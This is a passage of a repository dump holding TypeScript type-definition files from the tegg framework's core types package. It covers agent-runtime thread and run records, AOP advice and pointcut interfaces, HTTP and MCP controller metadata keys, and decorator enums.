ThreadRunCompleted: 'thread.run.completed',\n  ThreadRunFailed: 'thread.run.failed',\n  ThreadRunCancelled: 'thread.run.cancelled',\n  ThreadMessageCreated: 'thread.message.created',\n  ThreadMessageDelta: 'thread.message.delta',\n  ThreadMessageCompleted: 'thread.message.completed',\n  Done: 'done',\n} as const;\nexport type AgentSSEEvent = (typeof AgentSSEEvent)[keyof typeof AgentSSEEvent];\n\n// ===== Error codes =====\n\nexport const AgentErrorCode = {\n  ExecError: 'EXEC_ERROR',\n} as const;\nexport type AgentErrorCode = (typeof AgentErrorCode)[keyof typeof AgentErrorCode];\n\n// ===== Thread objects =====\n\nexport interface ThreadObject {\n  id: string;\n  object: 'thread';\n  createdAt: number;\n  metadata: Record<string, unknown>;\n}\n\nexport interface ThreadObjectWithMessages extends ThreadObject {\n  messages: MessageObject[];\n}\n\n// ===== Run objects =====\n\nexport interface RunObject {\n  id: string;\n  object: 'thread.run';\n  createdAt: number;\n  threadId: string;\n  status: RunStatus;\n  lastError?: { code: string; message: string } | null;\n  startedAt?: number | null;\n  completedAt?: number | null;\n  cancelledAt?: number | null;\n  failedAt?: number | null;\n  usage?: { promptTokens: number; completionTokens: number; totalTokens: number } | null;\n  metadata?: Record<string, unknown>;\n  output?: MessageObject[];\n  config?: AgentRunConfig;\n}\n\n// ===== Run input =====\n\nexport interface CreateRunInput {\n  threadId?: string;\n  input: {\n    messages: InputMessage[];\n  };\n  config?: AgentRunConfig;\n  metadata?: Record<string, unknown>;\n}\n\n// ===== Message delta =====\n\nexport interface MessageDeltaObject {\n  id: string;\n  object: 'thread.message.delta';\n  delta: {\n    content: MessageContentBlock[];\n  };\n}\n\n// ===== Stream message types =====\n\nexport interface AgentStreamMessagePayload {\n  role?: string;\n  content: string | InputContentPart[];\n}\n\nexport interface AgentRunUsage {\n  promptTokens?: number;\n  completionTokens?: number;\n}\n\nexport interface AgentStreamMessage {\n  type?: string;\n  message?: AgentStreamMessagePayload;\n  usage?: AgentRunUsage;\n}\n"
  },
  {
    "path": "tegg/core/types/src/agent-runtime/AgentStore.ts",
    "content": "import type { InputMessage, MessageObject } from './AgentMessage.ts';\n\nexport type { InputMessage, MessageObject } from './AgentMessage.ts';\n\n// ===== Object types =====\n\nexport const AgentObjectType = {\n  Thread: 'thread',\n  ThreadRun: 'thread.run',\n  ThreadMessage: 'thread.message',\n  ThreadMessageDelta: 'thread.message.delta',\n} as const;\nexport type AgentObjectType = (typeof AgentObjectType)[keyof typeof AgentObjectType];\n\n// ===== Run statuses =====\n\nexport const RunStatus = {\n  Queued: 'queued',\n  InProgress: 'in_progress',\n  Completed: 'completed',\n  Failed: 'failed',\n  Cancelled: 'cancelled',\n  Cancelling: 'cancelling',\n  Expired: 'expired',\n} as const;\nexport type RunStatus = (typeof RunStatus)[keyof typeof RunStatus];\n\n// ===== Run configuration =====\n\nexport interface AgentRunConfig {\n  maxIterations?: number;\n  timeoutMs?: number;\n}\n\n// ===== Store records =====\n\nexport interface ThreadRecord {\n  id: string;\n  object: typeof AgentObjectType.Thread;\n  /**\n   * Logically belongs to the thread. In OSSAgentStore the messages are stored\n   * separately as a JSONL file and assembled on read — callers should treat\n   * this as a unified view regardless of the underlying storage layout.\n   */\n  messages: MessageObject[];\n  metadata: Record<string, unknown>;\n  createdAt: number; // Unix seconds\n}\n\nexport interface RunRecord {\n  id: string;\n  object: typeof AgentObjectType.ThreadRun;\n  threadId?: string;\n  status: RunStatus;\n  input: InputMessage[];\n  output?: MessageObject[];\n  lastError?: { code: string; message: string } | null;\n  usage?: { promptTokens: number; completionTokens: number; totalTokens: number } | null;\n  config?: AgentRunConfig;\n  metadata?: Record<string, unknown>;\n  createdAt: number;\n  startedAt?: number | null;\n  completedAt?: number | null;\n  cancelledAt?: number | null;\n  failedAt?: number | null;\n}\n\n// ===== Store interface =====\n\nexport interface AgentStore {\n  init?(): Promise<void>;\n  destroy?(): Promise<void>;\n  createThread(metadata?: Record<string, unknown>): Promise<ThreadRecord>;\n  getThread(threadId: string): Promise<ThreadRecord>;\n  appendMessages(threadId: string, messages: MessageObject[]): Promise<void>;\n  createRun(\n    input: InputMessage[],\n    threadId?: string,\n    config?: AgentRunConfig,\n    metadata?: Record<string, unknown>,\n  ): Promise<RunRecord>;\n  getRun(runId: string): Promise<RunRecord>;\n  updateRun(runId: string, updates: Partial<RunRecord>): Promise<void>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/agent-runtime/ObjectStorageClient.ts",
    "content": "/**\n * Abstract interface for object storage operations (e.g., OSS, S3, local fs).\n * Implementations must handle serialization/deserialization of values.\n */\nexport interface ObjectStorageClient {\n  init?(): Promise<void>;\n  destroy?(): Promise<void>;\n\n  /** Overwrite (or create) the object at `key` with `value`. */\n  put(key: string, value: string): Promise<void>;\n\n  /** Read the full object at `key`. Returns `null` if the object does not exist. */\n  get(key: string): Promise<string | null>;\n\n  /**\n   * Append `value` to an existing Appendable Object.\n   * If the object does not exist yet, create it.\n   *\n   * Used by OSSAgentStore to incrementally write JSONL message lines without\n   * reading the entire thread — much more efficient than read-modify-write for\n   * append-only workloads.\n   *\n   * This method is optional: when absent, OSSAgentStore falls back to\n   * get-concat-put (which is NOT atomic under concurrent writers).\n   */\n  append?(key: string, value: string): Promise<void>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/agent-runtime/errors.ts",
    "content": "/**\n * Error thrown when a thread or run is not found.\n * The `status` property is recognized by Koa/Egg error handling\n * to set the corresponding HTTP response status code.\n */\nexport class AgentNotFoundError extends Error {\n  status: number = 404;\n\n  constructor(message: string) {\n    super(message);\n    this.name = 'AgentNotFoundError';\n  }\n}\n\n/**\n * Error thrown when an operation conflicts with the current state\n * (e.g., cancelling a completed run).\n */\nexport class AgentConflictError extends Error {\n  status: number = 409;\n\n  constructor(message: string) {\n    super(message);\n    this.name = 'AgentConflictError';\n  }\n}\n\n/**\n * Error thrown when a RunBuilder state transition is invalid\n * (e.g., calling `complete()` on a queued run).\n */\nexport class InvalidRunStateTransitionError extends Error {\n  status: number = 409;\n\n  constructor(from: string, to: string) {\n    super(`Invalid run state transition: '${from}' -> '${to}'`);\n    this.name = 'InvalidRunStateTransitionError';\n  }\n}\n"
  },
  {
    "path": "tegg/core/types/src/agent-runtime/index.ts",
    "content": "export * from './AgentMessage.ts';\nexport * from './AgentStore.ts';\nexport * from './AgentRuntime.ts';\nexport * from './ObjectStorageClient.ts';\nexport * from './errors.ts';\n"
  },
  {
    "path": "tegg/core/types/src/aop/Advice.ts",
    "content": "export interface AdviceContext<T = object, K = any> {\n  that: T;\n  method: PropertyKey;\n  args: any[];\n  adviceParams?: K;\n  get(key: PropertyKey): any | undefined;\n  set(set: PropertyKey, value: any): this;\n}\n\n/**\n * execute order:\n * 1. beforeCall\n * 1. around\n * 1. afterReturn/afterThrow\n * 1. afterFinally\n */\nexport interface IAdvice<T = object, K = any> {\n  /**\n   * call before function\n   * @param ctx\n   */\n  beforeCall?(ctx: AdviceContext<T, K>): Promise<void>;\n\n  /**\n   * call after function succeed\n   */\n  afterReturn?(ctx: AdviceContext<T, K>, result: any): Promise<void>;\n\n  /**\n   * call after function throw error\n   */\n  afterThrow?(ctx: AdviceContext<T, K>, error: Error): Promise<void>;\n\n  /**\n   * always call after function done\n   */\n  afterFinally?(ctx: AdviceContext<T, K>): Promise<void>;\n\n  /**\n   * execute the function\n   * the only one can modify the function return value\n   */\n  around?(ctx: AdviceContext<T, K>, next: () => Promise<any>): Promise<any>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/aop/Aspect.ts",
    "content": "import type { EggProtoImplClass } from '../core-decorator/index.ts';\nimport type { IAdvice } from './Advice.ts';\n\nexport interface AdviceInfo {\n  clazz: EggProtoImplClass<IAdvice>;\n  order: number;\n  adviceParams: any;\n}\n\nexport interface AspectAdvice {\n  name: string;\n  clazz: EggProtoImplClass<IAdvice>;\n  adviceParams: any;\n}\n\nexport const ASPECT_LIST: symbol = Symbol.for('EggPrototype#aspectList');\n"
  },
  {
    "path": "tegg/core/types/src/aop/Crosscut.ts",
    "content": "import type { EggProtoImplClass } from '../core-decorator/index.ts';\nimport type { AdviceInfo } from './Aspect.ts';\nimport type { CustomPointcutCallback, PointcutInfo, PointcutType } from './Pointcut.ts';\n\nexport interface CrosscutOptions {\n  // 默认值 100\n  order?: number;\n  adviceParams?: any;\n}\n\n// TODO type check for methodName\nexport interface ClassCrosscutParam {\n  type: typeof PointcutType.CLASS;\n  clazz: EggProtoImplClass;\n  methodName: PropertyKey;\n}\n\nexport interface NameCrosscutParam {\n  type: typeof PointcutType.NAME;\n  className: RegExp;\n  methodName: RegExp;\n}\n\nexport interface CustomCrosscutParam {\n  type: typeof PointcutType.CUSTOM;\n  callback: CustomPointcutCallback;\n}\n\nexport type CrosscutParam = ClassCrosscutParam | NameCrosscutParam | CustomCrosscutParam;\n\nexport const CROSSCUT_INFO_LIST: symbol = Symbol.for('EggPrototype#crosscutInfoList');\nexport const IS_CROSSCUT_ADVICE: symbol = Symbol.for('EggPrototype#isCrosscutAdvice');\n\nexport interface CrosscutInfo {\n  pointcutInfo: PointcutInfo;\n  adviceInfo: AdviceInfo;\n}\n"
  },
  {
    "path": "tegg/core/types/src/aop/Pointcut.ts",
    "content": "import type { EggProtoImplClass } from '../core-decorator/index.ts';\n\nexport interface PointcutOptions<K = any> {\n  // default is 1000\n  order?: number;\n  adviceParams?: K;\n}\n\nexport const PointcutType = {\n  /**\n   * use class type to match\n   */\n  CLASS: 'CLASS',\n  /**\n   * use regexp to match className and methodName\n   */\n  NAME: 'NAME',\n  /**\n   * use custom function to match\n   */\n  CUSTOM: 'CUSTOM',\n} as const;\nexport type PointcutType = (typeof PointcutType)[keyof typeof PointcutType];\n\nexport interface PointcutInfo {\n  type: PointcutType;\n\n  match(clazz: EggProtoImplClass, method: PropertyKey): boolean;\n}\n\nexport type CustomPointcutCallback = (clazz: EggProtoImplClass, method: PropertyKey) => boolean;\n\nexport const POINTCUT_ADVICE_INFO_LIAR: symbol = Symbol.for('EggPrototype#pointcutAdviceInfoList');\n"
  },
  {
    "path": "tegg/core/types/src/aop/index.ts",
    "content": "export * from './Advice.ts';\nexport * from './Aspect.ts';\nexport * from './Crosscut.ts';\nexport * from './Pointcut.ts';\n"
  },
  {
    "path": "tegg/core/types/src/common/Graph.ts",
    "content": "export interface GraphNodeObj {\n  readonly id: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/common/Logger.ts",
    "content": "export interface Logger {\n  debug(message?: any, ...optionalParams: any[]): void;\n  log(message?: any, ...optionalParams: any[]): void;\n  info(message?: any, ...optionalParams: any[]): void;\n  warn(message?: any, ...optionalParams: any[]): void;\n  error(message?: any, ...optionalParams: any[]): void;\n}\n"
  },
  {
    "path": "tegg/core/types/src/common/ModuleConfig.ts",
    "content": "export interface ModuleReference {\n  name: string;\n  path: string;\n  optional?: boolean;\n  loaderType?: string;\n}\n\nexport interface InlineModuleReferenceConfig {\n  path: string;\n  optional?: boolean;\n}\n\nexport interface NpmModuleReferenceConfig {\n  package: string;\n  optional?: boolean;\n}\n\nexport type ModuleReferenceConfig = InlineModuleReferenceConfig | NpmModuleReferenceConfig;\n\nexport interface ModuleConfig {}\n\nexport interface ReadModuleReferenceOptions {\n  // module dir deep for globby when use auto scan module\n  // default is 10\n  deep?: number;\n  cwd?: string;\n  extraFilePattern?: string[];\n}\n\nexport interface ModuleConfigHolder {\n  name: string;\n  config: ModuleConfig;\n  reference: ModuleReference;\n}\n"
  },
  {
    "path": "tegg/core/types/src/common/RuntimeConfig.ts",
    "content": "export type EnvType = 'local' | 'unittest' | 'prod' | string;\n\nexport interface RuntimeConfig {\n  /**\n   * Application name\n   */\n  name: string;\n\n  /**\n   * Application environment\n   */\n  env: EnvType;\n\n  /**\n   * Application directory\n   */\n  baseDir: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/common/index.ts",
    "content": "export * from './Graph.ts';\nexport * from './ModuleConfig.ts';\nexport * from './RuntimeConfig.ts';\nexport * from './Logger.ts';\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/HTTPController.ts",
    "content": "export interface HTTPControllerParams {\n  protoName?: string;\n  controllerName?: string;\n  path?: string;\n  timeout?: number;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/HTTPMethod.ts",
    "content": "import { HTTPMethodEnum } from './model/index.ts';\n\nexport interface HTTPMethodParams {\n  method: HTTPMethodEnum;\n  path: string;\n  priority?: number;\n  timeout?: number;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/HTTPParam.ts",
    "content": "export interface HTTPQueryParams {\n  name?: string;\n}\n\nexport interface HTTPQueriesParams {\n  name?: string;\n}\n\nexport interface HTTPParamParams {\n  name?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/MCPController.ts",
    "content": "export interface MCPControllerParams {\n  protoName?: string;\n  controllerName?: string;\n  name?: string;\n  version?: string;\n  timeout?: number;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/MCPPromptParams.ts",
    "content": "import type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport type { ShapeOutput } from '@modelcontextprotocol/sdk/server/zod-compat.js';\nimport type { GetPromptResult } from '@modelcontextprotocol/sdk/types.js';\n\nexport type PromptArgs<T extends Parameters<McpServer['prompt']>['2']> = ShapeOutput<T>;\nexport type PromptExtra = Parameters<Parameters<McpServer['prompt']>['3']>['1'];\n\nexport type MCPPromptResponse = GetPromptResult;\n\nexport interface MCPPromptParams {\n  name?: string;\n  description?: string;\n  timeout?: number;\n  title?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/MCPResourceParams.ts",
    "content": "import type { ResourceTemplate, ResourceMetadata, McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport type { ReadResourceResult } from '@modelcontextprotocol/sdk/types.js';\n\nexport interface MCPResourceUriParams {\n  name?: string;\n  uri: string;\n  metadata?: ResourceMetadata;\n  timeout?: number;\n}\n\nexport interface MCPResourceTemplateParams {\n  name?: string;\n  template: ConstructorParameters<typeof ResourceTemplate>;\n  metadata?: ResourceMetadata;\n  timeout?: number;\n}\n\nexport type ResourceExtra = Parameters<Parameters<McpServer['resource']>['3']>['2'];\nexport type ResourceVariables = Parameters<Parameters<McpServer['resource']>['3']>['1'];\n\nexport type MCPResourceParams = MCPResourceUriParams | MCPResourceTemplateParams;\n\nexport type MCPResourceResponse = ReadResourceResult;\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/MCPToolParams.ts",
    "content": "import type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport type { ShapeOutput } from '@modelcontextprotocol/sdk/server/zod-compat.js';\nimport type { CallToolResult } from '@modelcontextprotocol/sdk/types.js';\n\nexport type ToolArgs<T extends Parameters<McpServer['tool']>['2']> = ShapeOutput<T>;\nexport type ToolExtra = Parameters<Parameters<McpServer['tool']>['4']>['1'];\n\nexport type MCPToolResponse = CallToolResult;\n\nexport interface MCPToolParams {\n  name?: string;\n  description?: string;\n  timeout?: number;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/MetadataKey.ts",
    "content": "export const CONTROLLER_TYPE: symbol = Symbol.for('EggPrototype#controllerType');\nexport const CONTROLLER_NAME: symbol = Symbol.for('EggPrototype#controllerName');\nexport const CONTROLLER_HOST: symbol = Symbol.for('EggPrototype#controllerHost');\nexport const CONTROLLER_MIDDLEWARES: symbol = Symbol.for('EggPrototype#controller#middlewares');\nexport const CONTROLLER_AOP_MIDDLEWARES: symbol = Symbol.for('EggPrototype#controller#aopMiddlewares');\nexport const CONTROLLER_ACL: symbol = Symbol.for('EggPrototype#controller#acl');\n\nexport const CONTROLLER_META_DATA: symbol = Symbol.for('EggPrototype#controller#metaData');\n\nexport const CONTROLLER_HTTP_PATH: symbol = Symbol.for('EggPrototype#controller#http#path');\nexport const CONTROLLER_METHOD_METHOD_MAP: symbol = Symbol.for('EggPrototype#controller#method#http#method');\nexport const CONTROLLER_METHOD_PATH_MAP: symbol = Symbol.for('EggPrototype#controller#method#http#path');\nexport const CONTROLLER_METHOD_PARAM_TYPE_MAP: symbol = Symbol.for('EggPrototype#controller#method#http#params#type');\nexport const CONTROLLER_METHOD_PARAM_NAME_MAP: symbol = Symbol.for('EggPrototype#controller#method#http#params#name');\nexport const CONTROLLER_METHOD_PRIORITY: symbol = Symbol.for('EggPrototype#controller#method#http#priority');\n\nexport const METHOD_CONTROLLER_TYPE_MAP: symbol = Symbol.for('EggPrototype#controller#mthods');\nexport const METHOD_CONTROLLER_HOST: symbol = Symbol.for('EggPrototype#controller#mthods#host');\nexport const METHOD_CONTEXT_INDEX: symbol = Symbol.for('EggPrototype#controller#method#context');\nexport const METHOD_MIDDLEWARES: symbol = Symbol.for('EggPrototype#method#middlewares');\nexport const METHOD_AOP_MIDDLEWARES: symbol = Symbol.for('EggPrototype#method#aopMiddlewares');\nexport const METHOD_AOP_REGISTER_MAP: symbol = Symbol.for('EggPrototype#method#aopMiddlewaresRegister');\nexport const METHOD_ACL: symbol = Symbol.for('EggPrototype#method#acl');\n\nexport const CONTROLLER_TIMEOUT_METADATA: symbol = Symbol.for('EggPrototype#controller#timeout');\n\nexport const CONTROLLER_MCP_NAME: symbol = Symbol.for('EggPrototype#controller#mcp#name');\nexport const CONTROLLER_MCP_VERSION: symbol = Symbol.for('EggPrototype#controller#mcp#version');\nexport const CONTROLLER_MCP_CONTROLLER_PARAMS_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#params');\nexport const CONTROLLER_MCP_RESOURCE_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#resource');\nexport const CONTROLLER_MCP_RESOURCE_PARAMS_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#resource#params');\nexport const CONTROLLER_MCP_TOOL_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#tool');\nexport const CONTROLLER_MCP_TOOL_PARAMS_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#tool#params');\nexport const CONTROLLER_MCP_TOOL_ARGS_INDEX: symbol = Symbol.for('EggPrototype#controller#mcp#tool#args');\nexport const CONTROLLER_MCP_EXTRA_INDEX: symbol = Symbol.for('EggPrototype#controller#mcp#extra');\nexport const CONTROLLER_MCP_PROMPT_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#prompt');\nexport const CONTROLLER_MCP_PROMPT_PARAMS_MAP: symbol = Symbol.for('EggPrototype#controller#mcp#prompt#params');\nexport const CONTROLLER_MCP_PROMPT_ARGS_INDEX: symbol = Symbol.for('EggPrototype#controller#mcp#prompt#args');\n\nexport const METHOD_TIMEOUT_METADATA: symbol = Symbol.for('EggPrototype#method#timeout');\n\nexport const CONTROLLER_AGENT_CONTROLLER: symbol = Symbol.for('EggPrototype#controller#agent#isAgent');\nexport const CONTROLLER_AGENT_NOT_IMPLEMENTED: symbol = Symbol.for('EggPrototype#controller#agent#notImplemented');\nexport const CONTROLLER_AGENT_ENHANCED: symbol = Symbol.for('EggPrototype#controller#agent#enhanced');\n\nexport const AGENT_CONTROLLER_PROTO_IMPL_TYPE = 'AGENT_CONTROLLER_PROTO';\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/builder.ts",
    "content": "import type { EggProtoImplClass } from '../core-decorator/index.ts';\nimport type { ControllerMetadata } from './model/index.ts';\n\nexport interface ControllerMetaBuilder {\n  build(): ControllerMetadata | undefined;\n}\n\nexport type ControllerMetaBuilderCreator = (clazz: EggProtoImplClass) => ControllerMetaBuilder;\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/index.ts",
    "content": "export * from './model/index.ts';\nexport * from './builder.ts';\nexport * from './HTTPController.ts';\nexport * from './HTTPMethod.ts';\nexport * from './HTTPParam.ts';\nexport * from './MCPController.ts';\nexport * from './MCPPromptParams.ts';\nexport * from './MCPResourceParams.ts';\nexport * from './MCPToolParams.ts';\nexport * from './MetadataKey.ts';\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/model/ControllerMetadata.ts",
    "content": "import type { EggPrototypeName } from '../../core-decorator/index.ts';\nimport type { MethodMeta } from './MethodMeta.ts';\nimport type { ControllerTypeLike, MiddlewareFunc } from './types.ts';\n\nexport interface ControllerMetadata {\n  readonly protoName: EggPrototypeName;\n  readonly controllerName: string;\n  readonly className: string;\n  readonly type: ControllerTypeLike;\n  readonly methods: readonly MethodMeta[];\n  readonly middlewares: readonly MiddlewareFunc[];\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/model/MethodMeta.ts",
    "content": "import type { MiddlewareFunc } from './types.ts';\n\nexport interface MethodMeta {\n  readonly name: string;\n  readonly middlewares: readonly MiddlewareFunc[];\n  readonly contextParamIndex: number | undefined;\n}\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/model/index.ts",
    "content": "export * from './types.ts';\nexport * from './ControllerMetadata.ts';\nexport * from './MethodMeta.ts';\n"
  },
  {
    "path": "tegg/core/types/src/controller-decorator/model/types.ts",
    "content": "export type { IncomingHttpHeaders } from 'node:http';\n\nimport type { Context, Next, MiddlewareFunc } from 'egg';\n\nexport type EggContext = Context;\nexport type { Next, MiddlewareFunc };\n\nexport const ControllerType = {\n  HTTP: 'HTTP',\n  SOFA_RPC: 'SOFA_RPC',\n  SOFA_RPC_STREAM: 'SOFA_RPC_STREAM',\n  MGW_RPC: 'MGW_RPC',\n  MGW_RPC_STREAM: 'MGW_RPC_STREAM',\n  MESSAGE: 'MESSAGE',\n  SCHEDULE: 'SCHEDULE',\n  HEADERS: 'HEADERS',\n  MCP: 'MCP',\n} as const;\nexport type ControllerType = (typeof ControllerType)[keyof typeof ControllerType];\n\nexport type HostType = string | string[];\n\nexport type ControllerTypeLike = ControllerType | string;\n\nexport const MethodType = {\n  HTTP: 'HTTP',\n  SOFA_RPC: 'SOFA_RPC',\n  SOFA_RPC_STREAM: 'SOFA_RPC_STREAM',\n  MGW_RPC: 'MGW_RPC',\n  MGW_RPC_STREAM: 'MGW_RPC_STREAM',\n  MESSAGE: 'MESSAGE',\n  SCHEDULE: 'SCHEDULE',\n} as const;\nexport type MethodType = (typeof MethodType)[keyof typeof MethodType];\n\nexport type MethodTypeLike = ControllerType | string;\n\nexport const HTTPMethodEnum = {\n  GET: 'GET',\n  POST: 'POST',\n  PUT: 'PUT',\n  DELETE: 'DELETE',\n  PATCH: 'PATCH',\n  OPTIONS: 'OPTIONS',\n  HEAD: 'HEAD',\n} as const;\nexport type HTTPMethodEnum = (typeof HTTPMethodEnum)[keyof typeof HTTPMethodEnum];\n\nexport const HTTPParamType = {\n  QUERY: 'QUERY',\n  QUERIES: 'QUERIES',\n  BODY: 'BODY',\n  PARAM: 'PARAM',\n  REQUEST: 'REQUEST',\n  HEADERS: 'HEADERS',\n  COOKIES: 'COOKIES',\n} as const;\nexport type HTTPParamType = (typeof HTTPParamType)[keyof typeof HTTPParamType];\n\nexport const MCPProtocols = {\n  STDIO: 'STDIO',\n  SSE: 'SSE',\n  STREAM: 'STREAM',\n} as const;\nexport type MCPProtocols = (typeof MCPProtocols)[keyof typeof MCPProtocols];\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/ContextProto.ts",
    "content": "import { AccessLevel } from './enum/index.ts';\n\nexport interface ContextProtoParams {\n  name?: string;\n  accessLevel?: AccessLevel;\n  protoImplType?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/Inject.ts",
    "content": "export interface InjectParams {\n  // obj instance name, default is property name\n  name?: string;\n  // optional inject, default is false which means it will throw error when there is no relative object\n  optional?: boolean;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/Metadata.ts",
    "content": "export type MetaDataKey = symbol | string;\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/MultiInstanceProto.ts",
    "content": "import type { AccessLevel, ObjectInitTypeLike } from './enum/index.ts';\nimport type { MultiInstancePrototypeGetObjectsContext, ObjectInfo } from './model/index.ts';\n\nexport interface BaseMultiInstancePrototypeCallbackParams {\n  /**\n   * obj init type\n   */\n  initType?: ObjectInitTypeLike;\n  /**\n   * access level\n   */\n  accessLevel?: AccessLevel;\n  /**\n   * EggPrototype implement type\n   */\n  protoImplType?: string;\n}\n\nexport interface MultiInstancePrototypeCallbackParams extends BaseMultiInstancePrototypeCallbackParams {\n  getObjects(ctx: MultiInstancePrototypeGetObjectsContext): ObjectInfo[] | Promise<ObjectInfo[]>;\n}\n\nexport interface MultiInstancePrototypeStaticParams extends BaseMultiInstancePrototypeCallbackParams {\n  /**\n   * object info list\n   */\n  objects: ObjectInfo[];\n}\n\nexport type MultiInstancePrototypeParams = MultiInstancePrototypeCallbackParams | MultiInstancePrototypeStaticParams;\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/Prototype.ts",
    "content": "import type { AccessLevel, ObjectInitTypeLike } from './enum/index.ts';\n\nexport interface PrototypeParams {\n  name?: string;\n  initType?: ObjectInitTypeLike;\n  accessLevel?: AccessLevel;\n  protoImplType?: string;\n}\n\nexport const DEFAULT_PROTO_IMPL_TYPE = 'DEFAULT';\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/SingletonProto.ts",
    "content": "import type { AccessLevel } from './enum/index.ts';\n\nexport interface SingletonProtoParams {\n  name?: string;\n  accessLevel?: AccessLevel;\n  protoImplType?: string;\n}\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/AccessLevel.ts",
    "content": "export const AccessLevel = {\n  // only access from self load unit\n  PRIVATE: 'PRIVATE',\n  // can access from parent load unit\n  PUBLIC: 'PUBLIC',\n} as const;\nexport type AccessLevel = (typeof AccessLevel)[keyof typeof AccessLevel];\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/EggType.ts",
    "content": "export const EggType = {\n  APP: 'APP',\n  CONTEXT: 'CONTEXT',\n} as const;\nexport type EggType = (typeof EggType)[keyof typeof EggType];\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/InjectType.ts",
    "content": "export const InjectType = {\n  PROPERTY: 'PROPERTY',\n  CONSTRUCTOR: 'CONSTRUCTOR',\n} as const;\nexport type InjectType = (typeof InjectType)[keyof typeof InjectType];\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/MultiInstanceType.ts",
    "content": "export const MultiInstanceType = {\n  STATIC: 'STATIC',\n  DYNAMIC: 'DYNAMIC',\n} as const;\nexport type MultiInstanceType = (typeof MultiInstanceType)[keyof typeof MultiInstanceType];\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/ObjectInitType.ts",
    "content": "export const ObjectInitType = {\n  // new object every time\n  ALWAYS_NEW: 'ALWAYS_NEW',\n  // new object only once in one request\n  CONTEXT: 'CONTEXT',\n  // new object only once\n  SINGLETON: 'SINGLETON',\n} as const;\nexport type ObjectInitType = (typeof ObjectInitType)[keyof typeof ObjectInitType];\n\nexport type ObjectInitTypeLike = ObjectInitType | string;\n\nexport const INIT_TYPE_TRY_ORDER: readonly ObjectInitType[] = [\n  ObjectInitType.CONTEXT,\n  ObjectInitType.SINGLETON,\n  ObjectInitType.ALWAYS_NEW,\n] as const;\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/Qualifier.ts",
    "content": "export const ConfigSourceQualifierAttribute: symbol = Symbol.for('Qualifier.ConfigSource');\n\nexport const EggQualifierAttribute: symbol = Symbol.for('Qualifier.Egg');\n\nexport const InitTypeQualifierAttribute: symbol = Symbol.for('Qualifier.InitType');\n\nexport const LoadUnitNameQualifierAttribute: symbol = Symbol.for('Qualifier.LoadUnitName');\n\nexport const QUALIFIER_META_DATA: symbol = Symbol.for('EggPrototype#qualifier');\n\nexport const PROPERTY_QUALIFIER_META_DATA: symbol = Symbol.for('EggPrototype#propertyQualifier');\n\nexport const CONSTRUCTOR_QUALIFIER_META_DATA: symbol = Symbol.for('EggPrototype#constructorQualifier');\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/enum/index.ts",
    "content": "export * from './AccessLevel.ts';\nexport * from './EggType.ts';\nexport * from './ObjectInitType.ts';\nexport * from './Qualifier.ts';\nexport * from './InjectType.ts';\nexport * from './MultiInstanceType.ts';\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/index.ts",
    "content": "export * from './enum/index.ts';\nexport * from './model/index.ts';\nexport * from './ContextProto.ts';\nexport * from './Inject.ts';\nexport * from './Metadata.ts';\nexport * from './MultiInstanceProto.ts';\nexport * from './Prototype.ts';\nexport * from './SingletonProto.ts';\n"
  },
  {
    "path": "tegg/core/types/src/core-decorator/model/EggMultiInstancePrototypeInfo.ts",
    "content": "import { type ObjectInitTypeLike, AccessLevel } from '../enum/index.ts';\nimport { type EggPrototypeName } from './EggPrototypeInfo.ts';\nimport { type QualifierInfo } from './QualifierInfo.ts';\n\nexport interface ObjectInfo {\n  name: EggPrototypeName;\n  qualifiers: QualifierInfo[];\n  properQualifiers?: Record<PropertyKey, QualifierInfo[]>;\n}\n\nexport interface MultiInstancePrototypeGetObjectsContext {\n  // instance module, multi instance proto used in\n  moduleName: string;\n  unitPath: string;\n}\n\nexport interface EggMultiInstancePrototypeInfo {\n  /**\n   * The class name of the object\n   */\n  className?: string;\n  /**\n   * obj init type\n   */\n  initType: ObjectInitTypeLike;\n  /**\n   * access level\n   */\n  accessLevel: AccessLevel;\n  /**\n   * EggPrototype implement type\n   */\n  protoImplType: string;\n\n  /**\n   * object info list\n   */\n  objects: ObjectInfo[];\n}\n\nexport interface EggMultiInstanceCallbackPrototypeInfo {\n  /**\n   * The class name of the object\n   */\n  className?: string;\n  /**\n   * obj init type\n   */\n  initType: ObjectInitTypeLike;\n  /**\n   * access level\n   */\n  accessLevel: AccessLevel;\n  